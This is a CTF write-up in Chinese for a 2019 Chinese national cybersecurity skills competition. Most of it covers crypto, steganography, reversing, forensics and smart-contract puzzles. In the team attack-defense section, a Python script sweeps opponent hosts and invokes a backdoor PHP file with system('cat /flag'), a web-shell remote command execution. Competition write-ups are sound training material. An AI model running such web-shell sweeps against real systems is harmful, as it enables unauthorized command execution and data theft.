# Writeup for 中国技能大赛——全国网络安全管理职业技能竞赛 2019

## 初赛

### Crypto

#### Crypto1 10pt

 1 2  s = 'xxx' print(bytes.fromhex(s[::-1])) 

#### Crypto2 20pt

RSA.txt

n= 703739435902178622788120837062252491867056043804038443493374414926110815100242619
e= 59159
c= 449590107303744450592771521828486744432324538211104865947743276969382998354463377
m=???


n.bit_length()看了一下，才269bit，直接factor。

 1 2 3  factor(703739435902178622788120837062252491867056043804038443493374414926110815100242619) # 782758164865345954251810941 * 810971978554706690040814093 * 1108609086364627583447802163 

exp.py

  1 2 3 4 5 6 7 8 9 10 11 12 13  from Crypto.Util.number import * n= 703739435902178622788120837062252491867056043804038443493374414926110815100242619 e= 59159 c= 449590107303744450592771521828486744432324538211104865947743276969382998354463377 p = [782758164865345954251810941, 810971978554706690040814093, 1108609086364627583447802163 ] phi = (p[0] - 1) * (p[1] - 1) * (p[2] - 1) d = inverse(e, phi) m = pow(c, d, n) print(long_to_bytes(m)) # b'flag{1e257b39a25c6a7c4d66e197}' 

### Steg

#### Steg1 xxpt

  1 2 3 4 5 6 7 8 9 10 11 12 13  import binascii import struct with open('XImg.png', 'rb') as f: data = f.read() for width in range(2048): for height in range(2048): guess = data[0xC:0xF+1] + struct.pack('>ii', width, height) + data[0x18:0x1C+1] crc = binascii.crc32(guess) if crc == 0x53D1578A: print(f"width: {width:#06x}, height: {height:#06x}") # width: 0x0400, height: 0x0271 

#### steg2 xxpt

password is QwE12#，输入解压得到flag{06e9e74c449042d19e6ee3f6c04fed92}

### Misc

#### Misc3 15pt

hex转成ascii，提交，正确！

#### Misc1 30pt

(赛后复现)

 1 2 3  with open('dic.txt', 'w') as f: for i in range(10000): f.write(f"6666{i:04d}\n") 

(赛后复现)

### Reverse

#### Re2 30pt

201111111100000000000000000011111
101111111101111111111011110011111
101111111101111111111011110011111
100000000000000500000100000000011
111111110101111011111111111111111
111100001101111000000000000000000
111100101000000111111111111111112


5是出发点，只能走0，要走到2。

'w': 上
'.': 下
'0': 左
'm': 右


check1限制了18步，那只能左上出去。 14左+3上+1左：'0'*14 + 'w'*3 + '0' == '00000000000000www0'

flag，显示不对。。

 1 2 3 4 5  import hashlib print(hashlib.md5(b'00000000000000www0..mmmmmmmmmmmmmmmmm.').hexdigest()) # flag{d8ec55f877596b311117434cfc9e0cff} 

#### Re1 30pt

(赛后复现)

upx壳，原理先暂时缓一缓，找个工具脱了再说。

input经过一通替换后变为tfoQ5ckkwhX51HYpxAjkMQYTAp5

1. diff = input[i] - key[i]
2. output[i] = table[diff % 4][diff]

exp.py

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17  table = [ "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", "+/abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/", "0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" ] key = "QASWZXDECVFRBNGTHYJUMKIOLP" output = "tfoQ5ckkwhX51HYpxAjkMQYTAp5" for k, out in enumerate(output): for i in range(4): index = table[i].index(out) if index % 4 == i: add = ord(key[k]) + index if 33 <= add <=126: print(chr(add), end='') print() 

md，又是一道多解。

flag{this_is_a_easy_suanfa}

### Summary

Web相关的等有时间要去学一手了。

AWD也要好好搞一下了。

## 决赛

### 第一天早上个人赛

#### Industrial_01

wireshark打开流量包，ip.dst == 10.1.1.49过滤流量包。

hashlib.md5(b'00411000002018008008').hexdigest()获得flag。

flag{57ab8a9c2f5962abf9d27a26343e04af}

#### crackme01

IDA打开

F5反编译，发现几个if后，会输出正确的flag。

encryptCTF{gdb_or_r2?}

#### 二维码签到

linux下，zbarimg qr.png获得flag。

flag{have_a_good_luck}

#### 简单的RSA

sagemath直接分解n

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24  n = 0xe708251f8e8b616121419de1369f44b4a92f9641b8270ae6c50cef2bb6548de7633176399640a553cc764ab02decfd4cbe45 # factor(n) # n = 1235542029039790988583258906019 * 1235542029039790988583258906103 * 1235542029039790988583258906107 * 1235542029039790988583258906163 ps = [ 1235542029039790988583258906019, 1235542029039790988583258906103, 1235542029039790988583258906107, 1235542029039790988583258906163 ] phi = 1 for p in ps: phi *= (p-1) c=0x58bd0290b41e567e9839a9cc70295107bb44a9e6a9b36ee2d36e19b01bf55083823b8983e02a8ea5b94facb221797babf72b e=0x10001 d = inverse_mod(e, phi) m = pow(c, d, n) print m # 13040004482819733629700969318967011475581959936432563287438093969804777918126467048875308157 # In [55]: long_to_bytes(pow(c,d,n)) # Out[55]: b'flag{2a0efd7734a07c6c430cfd04dfccdd94}' 

#### memory

 1 2  $volatility -f 8.raw imageinfo Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)  指定系统类型并查看进程表  1 2  $ volatility -f 8.raw --profile WinXPSP2x86 pslist 0x81ca5a20 notepad.exe 3000 924 1 44 0 0 2018-11-19 06:50:46 UTC+0000 

 1 2  \$ volatility -f 8.raw --profile WinXPSP2x86 notepad flag{3661386562366162333565313332396130373363313239656230356332636566} 

#### 小明的键盘

tshark -r usb.pcapng -T fields -e usb.capdata导出键位信息

0000090000000000
0000000000000000
00000f0000000000
0000000000000000
0000040000000000
0000000000000000
00000a0000000000
0000000000000000
0200000000000000
02002f0000000000
0200000000000000
0000000000000000
0000220000000000
0000000000000000
0000060000000000
0000000000000000
0000220000000000
0000000000000000
00001f0000000000
0000000000000000
0000040000000000
0000000000000000
0000070000000000
0000000000000000
0000060000000000
0000000000000000
0000070000000000
0000000000000000
00001f0000000000
0000000000000000
0000050000000000
0000000000000000
0000060000000000
0000000000000000
0000060000000000
0000000000000000
0000270000000000
0000000000000000
0000270000000000
0000000000000000
0000270000000000
0000000000000000
0000040000000000
0000000000000000
0000250000000000
0000000000000000
0000050000000000
0000000000000000
0000210000000000
0000000000000000
0000050000000000
0000000000000000
0000070000000000
0000000000000000
0000220000000000
0000000000000000
0000080000000000
0000000000000000
0000050000000000
0000000000000000
0000200000000000
0000000000000000
0000230000000000
0000000000000000
0000050000000000
0000000000000000
0000250000000000
0000000000000000
0000210000000000
0000000000000000
0000060000000000
0000000000000000
0000070000000000
0000000000000000
0000080000000000
0000000000000000
0200000000000000
0200300000000000
0200000000000000
0000000000000000


flag{5c52adcd2bcc000a8b4bd5eb36b84cde}

#### VCSA

010 Editor打开，发现末尾有一个压缩包。

flag{06e9e74c449042d19e6ee3f6c04fed92}

#### 五彩斑斓的二维码

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36  from PIL import Image from itertools import combinations img = Image.open('qr_code.bmp') w, h = img.size data = img.load() white = (255, 255, 255) black = (0, 0, 0) colors = [(0, 0, 255), (255, 0, 0), (0, 255, 0), (255, 255, 0), (0, 255, 255), (255, 0, 255)] for i in range(64): new_img = Image.new(img.mode, img.size) new = new_img.load() b_i = bin(i)[2:].zfill(6) mappings = {} for k, b in enumerate(b_i): if b == '1': mappings[colors[k]] = white else: mappings[colors[k]] = black for x in range(w): for y in range(h): pixel = data[x, y] if pixel == white or pixel == black: new[x, y] = pixel else: new[x, y] = mappings[pixel] new_img.save(f'{i}.png') img.close() 

zbarimg *.png获得3段flag

QR-Code:flag{5bfc2c45
QR-Code:6d10a8b830a6f
QR-Code:ed7cfdf08f3}


flag{5bfc2c456d10a8b830a6fed7cfdf08f3}

### 第一天下午团队赛

#### 3号机

Lib\Config\Controllers.php下发现有后门

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21  import requests import os # Token = 'CHyEnYnN8d3MwMH68NAYq2GRVcWYZjedlz5zMrfDd5kQv' # url = 'http://10.66.40.200/api/v1/att_def/web/submit_flag/?event_id=5' prefix = 'http://172.34.' suffix = '.103/Lib/Config/Controllers.php?b2=cat%20/flag&b1=system' for i in range(1, 12): try: url = prefix + str(i) + suffix # print(url) html = requests.get(url) # print(html.text) if 'warning' not in html.text: print(html.text.split('\n')[-2]) print(i) except: continue 

#### 1号机

2web+1crypto，没办法，只能我来看看pwn了

read(0, &buf, 0x70uLL)patch成read(0, &buf, 0x50uLL)

scp上传至1号机，成功防住！

### 第二天上午精英个人赛

#### 智能合约

请根据合约及其交互信息找出其中隐藏的信息。

Bytecode：
0x60806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806304618359146100725780631cbeae5e1461009f578063890eba68146100cc578063a2da82ab146100f7578063f0fdf83414610127575b600080fd5b34801561007e57600080fd5b5061009d60048036038101908080359060200190929190505050610154565b005b3480156100ab57600080fd5b506100ca6004803603810190808035906020019092919050505061015e565b005b3480156100d857600080fd5b506100e1610171565b6040518082815260200191505060405180910390f35b34801561010357600080fd5b50610125600480360381019080803560ff169060200190929190505050610177565b005b34801561013357600080fd5b50610152600480360381019080803590602001909291905050506101bb565b005b8060008190555050565b6000548114151561016e57600080fd5b50565b60005481565b60008060009150600090505b60108110156101ab576008829060020a0291508260ff16821891508080600101915050610183565b8160005418600081905550505050565b8060036000540201600081905550505600a165627a7a7230582012c9c1368a7902a818e339b8db79b7130db8795bd2a793898b509dc020d960d20029

Opcode:
PUSH1 0x80
PUSH1 0x40
MSTORE
PUSH1 0x04
CALLDATASIZE
LT
PUSH2 0x006d
JUMPI
PUSH1 0x00
CALLDATALOAD
PUSH29 0x0100000000000000000000000000000000000000000000000000000000
SWAP1
DIV
PUSH4 0xffffffff
AND
DUP1
PUSH4 0x04618359
EQ
PUSH2 0x0072
JUMPI
DUP1
PUSH4 0x1cbeae5e
EQ
PUSH2 0x009f
JUMPI
DUP1
PUSH4 0x890eba68
EQ
PUSH2 0x00cc
JUMPI
DUP1
PUSH4 0xa2da82ab
EQ
PUSH2 0x00f7
JUMPI
DUP1
PUSH4 0xf0fdf834
EQ
PUSH2 0x0127
JUMPI
JUMPDEST
PUSH1 0x00
DUP1
REVERT
JUMPDEST
CALLVALUE
DUP1
ISZERO
PUSH2 0x007e
JUMPI
PUSH1 0x00
DUP1
REVERT
JUMPDEST
POP
PUSH2 0x009d
PUSH1 0x04
DUP1
CALLDATASIZE
SUB
DUP2
ADD
SWAP1
DUP1
DUP1
CALLDATALOAD
SWAP1
PUSH1 0x20
ADD
SWAP1
SWAP3
SWAP2
SWAP1
POP
POP
POP
PUSH2 0x0154
JUMP
JUMPDEST
STOP
JUMPDEST
CALLVALUE
DUP1
ISZERO
PUSH2 0x00ab
JUMPI
PUSH1 0x00
DUP1
REVERT
JUMPDEST
POP
PUSH2 0x00ca
PUSH1 0x04
DUP1
CALLDATASIZE
SUB
DUP2
ADD
SWAP1
DUP1
DUP1
CALLDATALOAD
SWAP1
PUSH1 0x20
ADD
SWAP1
SWAP3
SWAP2
SWAP1
POP
POP
POP
PUSH2 0x015e
JUMP
JUMPDEST
STOP
JUMPDEST
CALLVALUE
DUP1
ISZERO
PUSH2 0x00d8
JUMPI
PUSH1 0x00
DUP1
REVERT
JUMPDEST
POP
PUSH2 0x00e1
PUSH2 0x0171
JUMP
JUMPDEST
PUSH1 0x40
MLOAD
DUP1
DUP3
DUP2
MSTORE
PUSH1 0x20
ADD
SWAP2
POP
POP
PUSH1 0x40
MLOAD
DUP1
SWAP2
SUB
SWAP1
RETURN
JUMPDEST
CALLVALUE
DUP1
ISZERO
PUSH2 0x0103
JUMPI
PUSH1 0x00
DUP1
REVERT
JUMPDEST
POP
PUSH2 0x0125
PUSH1 0x04
DUP1
CALLDATASIZE
SUB
DUP2
ADD
SWAP1
DUP1
DUP1
CALLDATALOAD
PUSH1 0xff
AND
SWAP1
PUSH1 0x20
ADD
SWAP1
SWAP3
SWAP2
SWAP1
POP
POP
POP
PUSH2 0x0177
JUMP
JUMPDEST
STOP
JUMPDEST
CALLVALUE
DUP1
ISZERO
PUSH2 0x0133
JUMPI
PUSH1 0x00
DUP1
REVERT
JUMPDEST
POP
PUSH2 0x0152
PUSH1 0x04
DUP1
CALLDATASIZE
SUB
DUP2
ADD
SWAP1
DUP1
DUP1
CALLDATALOAD
SWAP1
PUSH1 0x20
ADD
SWAP1
SWAP3
SWAP2
SWAP1
POP
POP
POP
PUSH2 0x01bb
JUMP
JUMPDEST
STOP
JUMPDEST
DUP1
PUSH1 0x00
DUP2
SWAP1
SSTORE
POP
POP
JUMP
JUMPDEST
PUSH1 0x00
SLOAD
DUP2
EQ
ISZERO
ISZERO
PUSH2 0x016e
JUMPI
PUSH1 0x00
DUP1
REVERT
JUMPDEST
POP
JUMP
JUMPDEST
PUSH1 0x00
SLOAD
DUP2
JUMP
JUMPDEST
PUSH1 0x00
DUP1
PUSH1 0x00
SWAP2
POP
PUSH1 0x00
SWAP1
POP
JUMPDEST
PUSH1 0x10
DUP2
LT
ISZERO
PUSH2 0x01ab
JUMPI
PUSH1 0x08
DUP3
SWAP1
PUSH1 0x02
EXP
MUL
SWAP2
POP
DUP3
PUSH1 0xff
AND
DUP3
XOR
SWAP2
POP
DUP1
DUP1
PUSH1 0x01
ADD
SWAP2
POP
POP
PUSH2 0x0183
JUMP
JUMPDEST
DUP2
PUSH1 0x00
SLOAD
XOR
PUSH1 0x00
DUP2
SWAP1
SSTORE
POP
POP
POP
POP
JUMP
JUMPDEST
DUP1
PUSH1 0x03
PUSH1 0x00
SLOAD
MUL
ADD
PUSH1 0x00
DUP2
SWAP1
SSTORE
POP
POP
JUMP
STOP

log1:
0xa2da82ab0000000000000000000000000000000000000000000000000000000000000009

log2:
0xf0fdf83400000000000000000000000000000000000000000000000000000000deadbeaf

log3:
0xa2da82ab0000000000000000000000000000000000000000000000000000000000000007

log4:
secret.flag
{
"0": "uint256: 36269314025157789027829875601337027084"
}


This document does not want to be a full description of the Ethereum virtual machine, but the following list can be used as a reference of its opcodes.


call了0xa2da82ad这个函数两次，参数分别是9和7。

call了0xf0fdf834这个函数一次，参数是0xdeadbeaf

storage[0]乘3，再加上0xdeadbeaf

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24  # def storage: flag is uint256 at storage 0 def flag(): # not payable return flag # # Regular functions # def _fallback() payable: # default function revert def unknown04618359(uint256 _param1): # not payable flag = _param1 def winner(uint256 _param1): # not payable require _param1 == flag def unknownf0fdf834(uint256 _param1): # not payable flag = (3 * flag) + _param1 def unknowna2da82ab(uint8 _param1): # not payable idx = 0 s = 0 while idx < 16: idx = idx + 1 s = 256 * s xor _param1 continue flag = flag xor 0 

python脚本如下：

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18   from Crypto.Util.number import long_to_bytes def f(x): idx = 0 s = 0 while idx < 16: idx += 1 s = 256*s ^ x return s stg = 36269314025157789027829875601337027084 stg ^= f(7) stg = (stg - 0xdeadbeaf) // 3 stg ^= f(9) print(long_to_bytes(stg)) # b'flag{hello_ctf}' `

Load Comments?